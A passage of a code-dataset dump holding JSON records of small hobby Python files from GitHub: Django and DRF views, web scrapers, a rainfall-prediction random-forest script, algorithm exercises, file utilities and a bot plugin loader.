'\\n')\n\n","repo_name":"locwyn/weatherTracker","sub_path":"pullWeatherBeta.py","file_name":"pullWeatherBeta.py","file_ext":"py","file_size_in_byte":1191,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"70942001929","text":"from datetime import timedelta, datetime\nfrom django.shortcuts import render\nimport math\nimport configparser\nimport psycopg2\nfrom sys import exit\nfrom functools import lru_cache\n\nconfig = configparser.ConfigParser()\nconfig.read('../conf.ini')\n\npghost = config['Postgres']['host']\npguser = config['Postgres']['user']\npgpass = config['Postgres']['password']\npgdb = config['Postgres']['db']\ntweetaccounts = config['Twitter']['accounts']\ntzoffset = int(config['Timezone']['tzoffset'])\ninterval = config['Postgres']['interval']\n\n# Create your views here.\ndef index(request):\n    context = dict()\n    return render(request, \"twitter/index.html\", context=context)\n\ndef scroller(request):\n    #if request.method == \"GET\":\n    # pull tweets for the last 5 minutes and pass them to template\n    data = list()\n    refresh = int(int(interval) / 2 * 60)\n    try:\n        conn = psycopg2.connect(f\"dbname={pgdb} user={pguser} password={pgpass} host={pghost}\")\n    except Exception as e:\n        print(e)\n        exit(\"Unable to connect to postgres database!\")\n    cur = conn.cursor()\n    cur.execute(\n        f\"SELECT accname, hashtags, symbols, ttext, created from twitter where created >= CURRENT_TIMESTAMP AT TIME ZONE 'UTC' - INTERVAL '{interval} minutes' ORDER BY created DESC;\")\n    tweets = cur.fetchall()\n    for tweet in tweets:\n        local = tweet[4] + timedelta(hours=tzoffset)\n        twDict = {\"account\": tweet[0], \"hashtags\": tweet[1], \"symbols\": tweet[2], \"ttext\": tweet[3], \"created\": local}\n        data.append(twDict)\n    # 12 tweets displayed / minute\n    # expand the dictionary to accomodate this\n    runMins = round(int(interval) / 2)\n    tweetsNeeded = runMins * 12\n\n    # 4 tweets fit on a page, if less than this, don't duplicate tweets, if not duplicate\n    #print(\"Initial length: \", len(data))\n    if len(data) > 4:\n        dataLength = len(data)\n        multiplier = round(tweetsNeeded / dataLength)\n        data = data * multiplier\n    #print(\"With multplier: \", len(data))\n    return render(request, \"twitter/scroller.html\", {'refresh': refresh, 'interval': interval, \"data\": data})\n\n#@lru_cache(maxsize=2)\ndef feeds(request):\n    \"\"\"Display a list of feeds from the config file with additional information\"\"\"\n    # also pull additional information on them from db and display it\n    # get info from config file\n    data = dict()\n    # {barrons: {name: barrons, id: barrons, description: <description>, url: <url>, followers: <num followers>}}\n    tweetList0 = tweetaccounts.splitlines()\n    tweetList = [item for item in tweetList0 if item]\n    try:\n        conn = psycopg2.connect(f\"dbname={pgdb} user={pguser} password={pgpass} host={pghost}\")\n    except Exception as e:\n        print(e)\n        exit(\"Unable to connect to postgres database!\")\n    cur = conn.cursor()\n    # select distinct on (acctid), tjson from twitter where acctid in {list from conf.ini}\n    cur.execute(f\"SELECT DISTINCT ON (acctid) acctid, tjson from twitter where acctid in {tuple(tweetList)};\")\n    accounts = cur.fetchall()\n    for item in accounts:\n        acctName = item[0]\n        acctDict = {\"username\": item[1][\"user\"][\"name\"], \"screenname\": item[1][\"user\"][\"screen_name\"],\n                    \"description\": item[1][\"user\"][\"description\"], \"url\": item[1][\"user\"][\"url\"],\n                    \"followers\": item[1][\"user\"][\"followers_count\"], \"totaltweets\": item[1][\"user\"][\"statuses_count\"]}\n        data.update({acctName: acctDict})\n\n    return render(request, \"twitter/feeds.html\", {'data': data})\n\n\n","repo_name":"stlewandowski/twitterscroller","sub_path":"companalysis/twitter/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3505,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"1285023859","text":"import time\r\nfrom urllib.request import urlopen\r\nfrom urllib.request import urlretrieve\r\nfrom bs4 import BeautifulSoup\r\nbaseurl = 'https://read.douban.com'\r\npath = '/ebooks/'\r\nabsoluteurl = baseurl + path\r\nhtml = urlopen(absoluteurl)\r\nbsObj = BeautifulSoup(html,'lxml')\r\ntags = bsObj.find('ul',class_='list categories-list')\r\nfor i in tags.children:\r\n    path = i.a['href']\r\n    absoluteurl=baseurl+path+'?cat=book&sort=top&start='\r\n    k = 0\r\n    while k<999:\r\n        absoluteurl = absoluteurl + str(k)\r\n        html1 = urlopen(absoluteurl)\r\n        bsObj1 = BeautifulSoup(html1,'lxml')\r\n        a = bsObj1.findAll('div', class_='cover shadow-cover')\r\n        b = bsObj1.findAll('div', class_='title')\r\n        time.sleep(5)\r\n        c = [urlretrieve(i.img['src'],'E:\\python project\\spider\\downloaded\\%s.jpg'%j.get_text()) for (i,j) in zip(a,b)]","repo_name":"shuangluhuifeng/xinjy","sub_path":"paqudoubanpictures.py","file_name":"paqudoubanpictures.py","file_ext":"py","file_size_in_byte":847,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"34174378888","text":"import math\nfrom collections import deque\n\nn, k = map(int, input().split())\narr = [[0, 0]] + [list(map(int, input().split())) for _ in range(n)]\n\ndef dist1(x1, y1, x2, y2):\n    return math.ceil((((x1-x2)**2 + (y1-y2)**2) ** 0.5) / 10)\n\ndef dist2(x1, y1):\n    return math.ceil((((10000-x1)**2 + (10000-y1)**2) ** 0.5) / 10)\n\ndef bfs(mid):\n    visited = [0]*(n+1)\n    q = deque()\n    q.append((0, 0))\n    while q:\n        t, cnt = q.popleft()\n        if cnt > k:\n            continue\n        for i in range(1, n+1):\n            if visited[i] == 0:\n                if dist1(arr[t][0], arr[t][1], arr[i][0], arr[i][1]) <= mid:\n                    if dist2(arr[i][0], arr[i][1]) <= mid:\n                        return True\n                    q.append((i, cnt+1))\n                    visited[i] = 1\n    return False\n\nl, r = 0, 100000001\nans = 0\nwhile l <= r:\n    mid = (l+r)//2\n    if bfs(mid):\n        ans = mid\n        r = mid-1\n    else:\n        l = mid+1\n\nprint(ans)","repo_name":"seho27060/sep-algo-study","sub_path":"0913/2585_yuzu.py","file_name":"2585_yuzu.py","file_ext":"py","file_size_in_byte":965,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"15497620026","text":"from .client import DollarClient, RofexClient, CmeClient, BloombergClient\nfrom .constants import CME_BANKS_URLS, BLOOMBERG_BANKS_URLS\nfrom datetime import datetime\nfrom pytz import timezone\n\n\nclass DatetimeService:\n    @staticmethod\n    def get_time() -> str:\n        \"\"\"\n        It returns a string with the current date and time in the timezone\n        \"America/Argentina/Buenos_Aires\"\n        :return: A string with the current date and time in the example format: YYYY-MM-DD HH:MM:SS\n        \"\"\"\n        TIMEZONE: str = \"America/Argentina/Buenos_Aires\"\n        now_bs_as_arg: datetime = datetime.now().astimezone(timezone(TIMEZONE))\n        return now_bs_as_arg.strftime(\"%Y-%m-%d %H:%M:%S\")\n\n\nclass DollarService:\n    @staticmethod\n    def get_nacion_bank_scraping_data() -> float:\n        \"\"\"\n        It gets the dollar value from the website of the National Bank of Argentina\n        :return: The value of the dollar in the Nacion Bank\n        \"\"\"\n        try:\n            nacion_bank = DollarClient.get_nacion_bank_data()\n\n            if nacion_bank is None:\n                return 0\n\n            dollar_value: str = (\n                nacion_bank.find(\"div\", id=\"divisas\")\n                .find(\"tbody\")\n                .find_all(\"td\")[2]\n                .text\n            )\n            dollar: float = round(float(dollar_value), 2)\n            return dollar\n\n        except:\n            return -1\n\n\nclass RofexService:\n    @staticmethod\n    def get_rofex_scraping_data() -> dict:\n        \"\"\"\n        It gets the data from the Rofex website, and returns a dictionary with the values\n        :return: A dictionary with the values of the rofex bank.\n        \"\"\"\n        try:\n            ROFEX_DICT: dict = dict()\n            rofex_bank = RofexClient.get_rofex_bank_data()\n\n            if rofex_bank is None:\n                return dict()\n\n            rofex_values = (\n                rofex_bank.find(\"div\", {\"class\": \"table-responsive\"})\n                .find(\"tbody\")\n                .find_all(\"tr\")\n            )\n\n            for rof in rofex_values:\n                rofex_title: str = rof.find_all(\"td\")[0].text\n                rofex_value: float = round(float(rof.find_all(\"td\")[1].text), 2)\n                ROFEX_DICT[rofex_title] = rofex_value\n\n            return ROFEX_DICT\n\n        except:\n            return dict()\n\n\nclass CmeService:\n\n    def __get_cme_values(self, name_page: str, response: dict) -> dict:\n        try:\n            CME_VALUES: list = list()\n\n            for i in range(6):\n                if (i == 0) and (response[\"quotes\"][i][\"last\"] != \"-\"):\n                    cme_value = response[\"quotes\"][i][\"last\"]\n                cme_value = response[\"quotes\"][i][\"priorSettle\"]\n\n                cme_value: float = round(float(cme_value), 2)\n                CME_VALUES.append(cme_value)\n\n            return {\n                f\"{name_page}_M0\": CME_VALUES[0],\n                f\"{name_page}_M1\": CME_VALUES[1],\n                f\"{name_page}_M2\": CME_VALUES[2],\n                f\"{name_page}_M3\": CME_VALUES[3],\n                f\"{name_page}_M4\": CME_VALUES[4],\n                f\"{name_page}_M5\": CME_VALUES[5],\n            }\n\n        except:\n            return dict()\n\n    def get_cme_scraping_data(self) -> dict:\n        \"\"\"\n        It takes the CME_BANKS_URLS dictionary, iterates through it, and for each key-value pair, it\n        makes a request to the url, and then parses the response to get the data we want\n        :return: A dictionary with the name of the bank and a dictionary with the values of the bank.\n        \"\"\"\n        CME_SCRAP: dict = dict()\n\n        for name_page, url in CME_BANKS_URLS.items():\n\n            response = CmeClient.get_cme_bank_data(url=url)\n\n            if response is None:\n                return dict()\n\n            CME_SCRAP[name_page] = self.__get_cme_values(name_page, response)\n\n        return CME_SCRAP\n\n\nclass BloombergService:\n\n    def __get_bloomberg_values(self, response: dict) -> list:\n        try:\n            BLOOMBERG_VALUES: list = list()\n\n            for i in range(2):\n                bloomberg_price: float = round(\n                    response[\"fieldDataCollection\"][i][\"price\"], 2)\n\n                bloomberg_priceChange: float = round(\n                    response[\"fieldDataCollection\"][i][\"priceChange1Day\"], 2)\n\n                BLOOMBERG_VALUES.append(bloomberg_price)\n                BLOOMBERG_VALUES.append(bloomberg_priceChange)\n\n            return BLOOMBERG_VALUES\n\n        except:\n            return list()\n\n    def get_bloomberg_scraping_data(self) -> dict:\n        \"\"\"\n        It takes the Bloomberg URLs and returns a dictionary with the bank names as keys and a list of\n        the price and price change as values\n        :return: A dictionary with the name of the bank as the key and a list of values as the value.\n        \"\"\"\n        BLOOMBRG_SCRAP: dict = dict()\n\n        for name_page, url in BLOOMBERG_BANKS_URLS.items():\n\n            response = BloombergClient.get_bloomberg_bank_data(url=url)\n\n            if response is None:\n                return dict()\n\n            BLOOMBRG_SCRAP[name_page] = self.__get_bloomberg_values(response)\n\n        return BLOOMBRG_SCRAP\n","repo_name":"RRodriQZ/Dollar-Web-Scraping","sub_path":"app/api/v1/services.py","file_name":"services.py","file_ext":"py","file_size_in_byte":5172,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"78308780","text":"import collections\n\nhand = input().split()\nfirstC = []\ni = 0\n#print(len(hand))\nfor i in range(len(hand)):\n    temp = list(hand[i])\n    firstC.append(temp[0])\n\n#print(hand)\n#print(firstC)\ncounter = collections.Counter(firstC)\nbla = counter.most_common(1)\n#print(counter)\n#print(str(bla))\nmCommon = list(str(bla))\nprint(mCommon[7])\n#print(mCommon)","repo_name":"HendrikM25/kattisSolutions","sub_path":"python/kattisPractice/pokerHand.py","file_name":"pokerHand.py","file_ext":"py","file_size_in_byte":345,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"29963318201","text":"from typing import List\n\nfrom tqdm.auto import tqdm\n\n\ndef count_lines_in_file(file_path: str, buffer_size: int = 1024 * 1024) -> int:\n    \"\"\"Count the number of lines in the given file.\n\n    :param file_path: path to the file\n    :param buffer_size: size of temporary buffer during reading the file\n    :return: number of lines\n    \"\"\"\n    n_lines = 0\n    with open(file_path, \"rb\") as file:\n        file_reader = file.read\n        buffer = file_reader(buffer_size)\n        while buffer:\n            n_lines += buffer.count(b\"\\n\")\n            buffer = file_reader(buffer_size)\n    return n_lines\n\n\ndef get_lines_offsets(file_path: str, show_progress_bar: bool = True) -> List[int]:\n    \"\"\"Calculate cumulative offsets for all lines in the given file.\n\n    :param file_path: path to the file\n    :param show_progress_bar: if True then tqdm progress bar will be display\n    :return: list of ints with cumulative offsets\n    \"\"\"\n    line_offsets: List[int] = []\n    cumulative_offset = 0\n    with open(file_path, \"r\") as file:\n        file_iter = tqdm(file, total=count_lines_in_file(file_path)) if show_progress_bar else file\n        for line in file_iter:\n            line_offsets.append(cumulative_offset)\n            cumulative_offset += len(line.encode(file.encoding))\n    return line_offsets\n\n\ndef get_line_by_offset(file_path: str, offset: int) -> str:\n    \"\"\"Get line by byte offset from the given file.\n\n    :param file_path: path to the file\n    :param offset: byte offset\n    :return: read line\n    \"\"\"\n    with open(file_path, \"r\") as data_file:\n        data_file.seek(offset)\n        line = data_file.readline().strip()\n    return line\n","repo_name":"SpirinEgor/commode-utils","sub_path":"commode_utils/filesystem.py","file_name":"filesystem.py","file_ext":"py","file_size_in_byte":1646,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"41739247912","text":"#Rainfall Prediction using Random Forest\n\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom sklearn.utils import resample\nimport seaborn as sns\n\nfull_data = pd.read_csv('weatherAUS.csv')\nfull_data.head()\n\n\nfull_data['RainToday'].replace({'No': 0, 'Yes': 1},inplace = True)\nfull_data['RainTomorrow'].replace({'No': 0, 'Yes': 1},inplace = True)\n\nno = full_data[full_data.RainTomorrow == 0]\nyes = full_data[full_data.RainTomorrow == 1]\nyes_oversampled = resample(yes, replace=True, n_samples=len(no), random_state=123)\noversampled = pd.concat([no, yes_oversampled])\n\n\n\ntotal = oversampled.isnull().sum().sort_values(ascending=False)\npercent = (oversampled.isnull().sum()/oversampled.isnull().count()).sort_values(ascending=False)\nmissing = pd.concat([total, percent], axis=1, keys=['Total', 'Percent'])\nmissing.head(4)\n\n\n #Imputing missing data using MICE (Multiple Imputation by Chained Equations ) \n\noversampled.select_dtypes(include=['object']).columns\n\n# Impute categorical var with Mode\noversampled['Date'] = oversampled['Date'].fillna(oversampled['Date'].mode()[0])\noversampled['Location'] = oversampled['Location'].fillna(oversampled['Location'].mode()[0])\noversampled['WindGustDir'] = oversampled['WindGustDir'].fillna(oversampled['WindGustDir'].mode()[0])\noversampled['WindDir9am'] = oversampled['WindDir9am'].fillna(oversampled['WindDir9am'].mode()[0])\noversampled['WindDir3pm'] = oversampled['WindDir3pm'].fillna(oversampled['WindDir3pm'].mode()[0])\n\n# Convert categorical features to continuous features with Label Encoding\nfrom sklearn.preprocessing import LabelEncoder\nlencoders = {}\nfor col in oversampled.select_dtypes(include=['object']).columns:\n    lencoders[col] = LabelEncoder()\n    oversampled[col] = lencoders[col].fit_transform(oversampled[col])\n\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n\n# Multiple Imputation by Chained Equations\nfrom sklearn.experimental import enable_iterative_imputer\nfrom sklearn.impute import IterativeImputer\nMiceImputed = oversampled.copy(deep=True) \nmice_imputer = IterativeImputer()\nMiceImputed.iloc[:, :] = mice_imputer.fit_transform(oversampled)\n\n# Detecting outliers with IQR\nQ1 = MiceImputed.quantile(0.25)\nQ3 = MiceImputed.quantile(0.75)\nIQR = Q3 - Q1\n\n# Removing outliers from the dataset\nMiceImputed = MiceImputed[~((MiceImputed < (Q1 - 1.5 * IQR)) |(MiceImputed > (Q3 + 1.5 * IQR))).any(axis=1)]\nMiceImputed.shape\n\n\n\n\n# Removing outliers from the dataset\nMiceImputed = MiceImputed[~((MiceImputed < (Q1 - 1.5 * IQR)) |(MiceImputed > (Q3 + 1.5 * IQR))).any(axis=1)]\nMiceImputed.shape\n\n\n# Standardizing data\nfrom sklearn import preprocessing\nr_scaler = preprocessing.MinMaxScaler()\nr_scaler.fit(MiceImputed)\nmodified_data = pd.DataFrame(r_scaler.transform(MiceImputed), index=MiceImputed.index, columns=MiceImputed.columns)\n\n# Feature Importance using Filter Method (Chi-Square)\nfrom sklearn.feature_selection import SelectKBest, chi2\nX = modified_data.loc[:,modified_data.columns!='RainTomorrow']\ny = modified_data[['RainTomorrow']]\nselector = SelectKBest(chi2, k=10)\nselector.fit(X, y)\nX_new = selector.transform(X)\n\n\n#Training Rainfall Prediction Model with Random Forest\n\n\nfeatures = MiceImputed[['Location', 'MinTemp', 'MaxTemp', 'Rainfall', 'Evaporation', 'Sunshine', 'WindGustDir', \n                       'WindGustSpeed', 'WindDir9am', 'WindDir3pm', 'WindSpeed9am', 'WindSpeed3pm', 'Humidity9am', \n                       'Humidity3pm', 'Pressure9am', 'Pressure3pm', 'Cloud9am', 'Cloud3pm', 'Temp9am', 'Temp3pm', \n                       'RainToday']]\ntarget = MiceImputed['RainTomorrow']\n\n# Split into test and train (85% for training 15% for testing)\nfrom sklearn.model_selection import train_test_split\nX_train, X_test, y_train, y_test = train_test_split(features, target, test_size=0.15, random_state=12345)\n\n# Normalize Features\nfrom sklearn.preprocessing import StandardScaler\nscaler = StandardScaler()\nX_train = scaler.fit_transform(X_train)\nX_test = scaler.fit_transform(X_test)\n\n\nimport time\nfrom sklearn.metrics import accuracy_score, roc_auc_score, cohen_kappa_score, plot_confusion_matrix, roc_curve, classification_report\ndef run_model(model, X_train, y_train, X_test, y_test, verbose=True):\n    t0=time.time()\n    if verbose == False:\n        model.fit(X_train,y_train, verbose=0)\n    else:\n        model.fit(X_train,y_train)\n    y_pred = model.predict(X_test)\n    accuracy = accuracy_score(y_test, y_pred)\n    roc_auc = roc_auc_score(y_test, y_pred) \n    coh_kap = cohen_kappa_score(y_test, y_pred)\n    time_taken = time.time()-t0\n    print(\"Accuracy = {}\".format(accuracy))\n    print(\"ROC Area under Curve = {}\".format(roc_auc))\n    print(\"Cohen's Kappa = {}\".format(coh_kap))\n    print(\"Time taken = {}\".format(time_taken))\n    \n    probs = model.predict_proba(X_test)  \n    probs = probs[:, 1]  \n    fper, tper, thresholds = roc_curve(y_test, probs) \n    \n    return model, accuracy, roc_auc, coh_kap, time_taken\n\n#Training using Random Forest\nfrom sklearn.ensemble import RandomForestClassifier\n\nparams_rf = {'max_depth': 16,\n             'min_samples_leaf': 1,\n             'min_samples_split': 2,\n             'n_estimators': 100,\n             'random_state': 12345}\n\nmodel_rf = RandomForestClassifier(**params_rf)\nmodel_rf, accuracy_rf, roc_auc_rf, coh_kap_rf, tt_rf = run_model(model_rf, X_train, y_train, X_test, y_test)\n\n#Accuracy= 0.9555649597968684\n#95.5%\n\n\n #Testing Random Data using the existing Data\ndata = {\n        'MinTemp': [7.7], \n        'MaxTemp': [26.7], \n        'Rainfall':[0],\n        'Evaporation': [5.85812957879808], \n        'Sunshine': [11.9605549245276], \n        'WindGustDir': [13],\n         'WindGustSpeed': [35], \n        'WindDir9am': [10], \n        'WindDir3pm': [13], \n        'WindSpeed9am': [6], \n        'WindSpeed3pm': [17], \n        'Humidity9am': [48], \n        'Humidity3pm': [19], \n        'Pressure9am': [1010.8], \n        'Pressure3pm': [1008.6], \n        'Cloud9am': [1.55340991681667], \n        'Cloud3pm': [2.26956647477166], \n        'Temp9am': [16.3], \n        'Temp3pm': [25.5],\n        'RainToday':[0]}\ninput = pd.DataFrame(data)\n\n\n# Make the prediction\nprediction = model_rf.predict_proba(input)[0,1]\n\nprint(\"prediction= {}\".format(prediction))\n\n#gives probability => 0.39894736842105263 \n\nif prediction<(0.25):\n    print(\"No rain is expected tomorrow\")\nelse:\n    print(\"Rain is expected tomorrow\") \n\n\n\n\n#Taking User Input\n\nmin_temp = float(input(\"Enter the minimum temperature: \"))\nmax_temp = float(input(\"Enter the maximum temperature: \"))\nRainfall = float(input(\"Enter the Rainfall: \"))\nevaporation = float(input(\"Enter the evaporation: \"))\nsunshine = float(input(\"Enter the sunshine: \"))\nwind_gust_dir = input(\"Enter the wind gust direction: \")\nwind_gust_speed = float(input(\"Enter the wind gust speed: \"))\nwind_dir_9am = input(\"Enter the wind direction at 9am: \")\nwind_dir_3pm = input(\"Enter the wind direction at 3pm: \")\nwind_speed_9am = float(input(\"Enter the wind speed at 9am: \"))\nwind_speed_3pm = float(input(\"Enter the wind speed at 3pm: \"))\nhumidity_9am = float(input(\"Enter the humidity at 9am: \"))\nhumidity_3pm = float(input(\"Enter the humidity at 3pm: \"))\npressure_9am = float(input(\"Enter the pressure at 9am: \"))\npressure_3pm = float(input(\"Enter the pressure at 3pm: \"))\ncloud_9am = float(input(\"Enter the cloudiness at 9am: \"))\ncloud_3pm = float(input(\"Enter the cloudiness at 3pm: \"))\ntemp_9am = float(input(\"Enter the temperature at 9am: \"))\ntemp_3pm = float(input(\"Enter the temperature at 3pm: \"))\nRainToday = float(input(\"Enter the Rain today: \"))\n\n# Convert the user input into a dataframe\ndata = {'MinTemp': [min_temp], \n        'MaxTemp': [max_temp], \n        'Rainfall': [Rainfall],\n        'Evaporation': [evaporation], \n        'Sunshine': [sunshine], \n        'WindGustDir': [wind_gust_dir],\n        'WindGustSpeed': [wind_gust_speed], \n        'WindDir9am': [wind_dir_9am], \n        'WindDir3pm': [wind_dir_3pm], \n        'WindSpeed9am': [wind_speed_9am], \n        'WindSpeed3pm': [wind_speed_3pm], \n        'Humidity9am': [humidity_9am], \n        'Humidity3pm': [humidity_3pm], \n        'Pressure9am': [pressure_9am], \n        'Pressure3pm': [pressure_3pm], \n        'Cloud9am': [cloud_9am], \n        'Cloud3pm': [cloud_3pm], \n        'Temp9am': [temp_9am], \n        'Temp3pm': [temp_3pm],\n        'RainToday': [RainToday]}\n\nuser_input = pd.DataFrame(data)\n\n\n# Make the prediction\nprediction = model_rf.predict_proba(user_input)[0,1]\n\nprint(\"prediction= {}\".format(prediction))\n\nif prediction<(0.25):\n    print(\"No rain is expected tomorrow\")\nelse:\n    print(\"Rain is expected tomorrow\") ","repo_name":"Kakarrxt/Rainfall_Prediction_ML","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":8570,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"8393047579","text":"# pyname.py\n\nimport asyncio\nimport glob\nimport os\nimport re\n\nfrom venom import venom, MyMessage, Config, plugin_name\n\nhelp_ = Config.HELP[plugin_name(__name__)] = {'type': 'devs', 'commands': []}\nDOT_ = Config.BULLET_DOT\n\n\nasync def _init() -> None:\n    \"\"\" load non-py file list \"\"\"\n    Config.NON_PY_FILES.clear()\n    sep = \"\\\\\" if \"\\\\\" in dir(__name__) else \"/\"\n    total_list_ = glob.glob(f\"venom{sep}plugins{sep}*{sep}*\")\n    for one in total_list_:\n        search_ = re.search(r\"(\\w+)[\\\\/](\\w+)$\", one)\n        plugin = search_.group(2) if search_ else \"\"\n        if not plugin or plugin.startswith(\"__\"):\n            continue\n        Config.NON_PY_FILES.update({plugin: one})\n\n########################################################################################################################\n\nhelp_['commands'].append(\n    {\n        'command': 'pyname',\n        'flags': {\n            '-l': 'list non-py files',\n            '-r': 'reload list'\n        },\n        'usage': 'Rename python files to enable them',\n        'syntax': '{tr}pyname [cmd|plugin name]',\n        'sudo': False\n    }\n)\n\n\n@venom.trigger('pyname')\nasync def python_rename(_, message: MyMessage):\n    \"\"\" Rename python files to enable them \"\"\"\n    flags_ = message.flags\n    await message.edit(\"`Searching...`\")\n    if \"-l\" in flags_:\n        if Config.NON_PY_FILES:\n            list_ = \"\"\n            for one in Config.NON_PY_FILES.keys():\n                list_ += f\"{DOT_} {one}\"\n            out_ = f\"<b>Unloaded plugins</b>: [<b>{len(Config.NON_PY_FILES.keys())}</b>]\\n\\n{list_}\"\n        else:\n            out_ = \"`No plugins are unloaded...`\"\n        return await message.edit(out_)\n    elif \"-r\" in flags_:\n        await _init()\n        return await message.edit(\"`Non-loaded list reloaded...`\")\n    plug_ = message.filtered_input\n    if plug_ not in Config.NON_PY_FILES.keys():\n        return await message.edit(f\"`No plugin named {plug_} is disabled...`\", del_in=5)\n    await message.edit(f\"`Plugin {plug_} found.\\nReloading...`\")\n    path_ = Config.NON_PY_FILES[plug_]\n    os.rename(path_, f\"{path_}.py\")\n    await message.edit(f\"Plugin <b>{plug_}</b> reloaded.\\n`Now restarting...`\")\n    asyncio.get_event_loop().create_task(venom.restart())\n","repo_name":"ashwinstr/VenomX","sub_path":"venom/plugins/devs/pyname.py","file_name":"pyname.py","file_ext":"py","file_size_in_byte":2232,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"10519126741","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nfrom django.conf import settings\n\n\nclass Migration(migrations.Migration):\n\n    dependencies = [\n        migrations.swappable_dependency(settings.AUTH_USER_MODEL),\n        ('spam', '0001_initial'),\n    ]\n\n    operations = [\n        migrations.AddField(\n            model_name='spammyposting',\n            name='comment',\n            field=models.TextField(blank=True, null=True),\n        ),\n        migrations.AddField(\n            model_name='spammyposting',\n            name='reviewer',\n            field=models.ForeignKey(related_name='reviewer', blank=True, null=True, to=settings.AUTH_USER_MODEL),\n        ),\n        migrations.AddField(\n            model_name='spammyposting',\n            name='status',\n            field=models.IntegerField(default=10, choices=[(10, 'Flagged'), (20, 'Under review'), (30, 'Rejected'), (40, 'Approved')]),\n        ),\n        migrations.AlterField(\n            model_name='spammyposting',\n            name='reporter',\n            field=models.ForeignKey(related_name='reporter', blank=True, null=True, to=settings.AUTH_USER_MODEL),\n        ),\n    ]\n","repo_name":"pydanny/dj-spam","sub_path":"spam/migrations/0002_auto_20150728_2050.py","file_name":"0002_auto_20150728_2050.py","file_ext":"py","file_size_in_byte":1193,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"16"}
+{"seq_id":"13642641662","text":"from django.shortcuts import render\nfrom rest_framework import response\nfrom rest_framework.views import APIView\nfrom rest_framework.response import Response\nfrom rest_framework import status\nfrom .models import Category,Product\nfrom .serializers import *\n\n# Create your views here.\n\nclass CategoryView(APIView):\n\n    def get(self,request):\n        query_set = Category.objects.all()\n        serializer = CategorySerializer(query_set,many=True)\n        return Response(serializer.data)\n        \n\n    def post(self,request):\n        serializer = CategorySerializer(data=request.data)\n        if serializer.is_valid():\n            serializer.save()\n            return Response(serializer.data, status=status.HTTP_201_CREATED)\n        return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n\n    def put(self,request):# put means update\n        id = request.POST.get('id')\n        category = request.POST.get('category')\n        try:\n            query_set =Category.objects.get(id=id)\n            if query_set:\n                query_set.category = category\n                query_set.save()\n                res = {\n                    'success' : 'true',\n                    'message' : 'Category has been successfully updated'\n                }\n                return Response(res, status=status.HTTP_201_CREATED)\n        except:\n            res = {\n                    'success' : 'false',\n                    'message' : 'Something went wrong'\n\n                }\n            return Response(res,status=status.HTTP_304_NOT_MODIFIED)\n\n\n    def delete(self,request):\n        id = request.POST.get(\"id\")\n        try:\n            query_set = Category.objects.get(id=id).delete()\n            if query_set:\n                res = {\n                    'success' : 'true',\n                    'message' : 'Category has been successfully deleted'\n\n                }\n                return Response(res, status=status.HTTP_200_OK)\n        except:\n            res = {\n                    'success' : 'false',\n                    'message' : 'Record does not exist'\n            }\n            return Response(res, status=status.HTTP_400_BAD_REQUEST)\n\n\n    \nclass ProductView(APIView):\n    #Retrieve Product    \n    def get(self, request):\n        qs = Product.objects.all()\n        ser = ProductSerializer(qs, many=True)\n        return Response(ser.data)\n\n    #Create Product\n    def post(self, request):\n        serializer = ProductSerializer(data=request.data)\n        if serializer.is_valid():\n            serializer.save()\n            return Response(serializer.data, status=status.HTTP_201_CREATED)\n\n        return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n    \n    #Update Product\n    def put(self, request):\n        id = request.POST.get(\"id\")       \n        product_name = request.POST.get(\"product_name\")\n        product_model_name = request.POST.get(\"product_model_name\")\n        price = request.POST.get(\"price\")    \n        try: \n            qs = Product.objects.get(id=id)\n            if qs:\n                qs.product_name = product_name\n                qs.product_model_name = product_model_name\n                qs.price = price\n                qs.save()\n                resp = {\n                    'success' : 'true',\n                    'message' : \"Product Has Been Successfully Updated\",\n                }\n                return Response(resp, status=status.HTTP_201_CREATED)\n        except:\n            resp = {\n                'success' : 'false',\n                'message' : \"Something went wrong try again\",      \n                }    \n            return Response(resp, status=status.HTTP_304_NOT_MODIFIED) \n\n    #Delete Product\n    def delete(self, request):\n        id = request.POST.get(\"id\")  \n        try:           \n            qs = Product.objects.get(id=id).delete()\n            if qs:\n                resp = {\n                    'success' : 'true',\n                    'message' : \"Product Deleted\",\n                }\n                return Response(resp, status=status.HTTP_200_OK)\n        except:\n            resp = {\n                'success' : 'false',\n                'message' : \"Record does not exist\",        }    \n            return Response(resp, status=status.HTTP_400_BAD_REQUEST)\n","repo_name":"pankaj-stack/Assessment_3_Revisied","sub_path":"app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4250,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
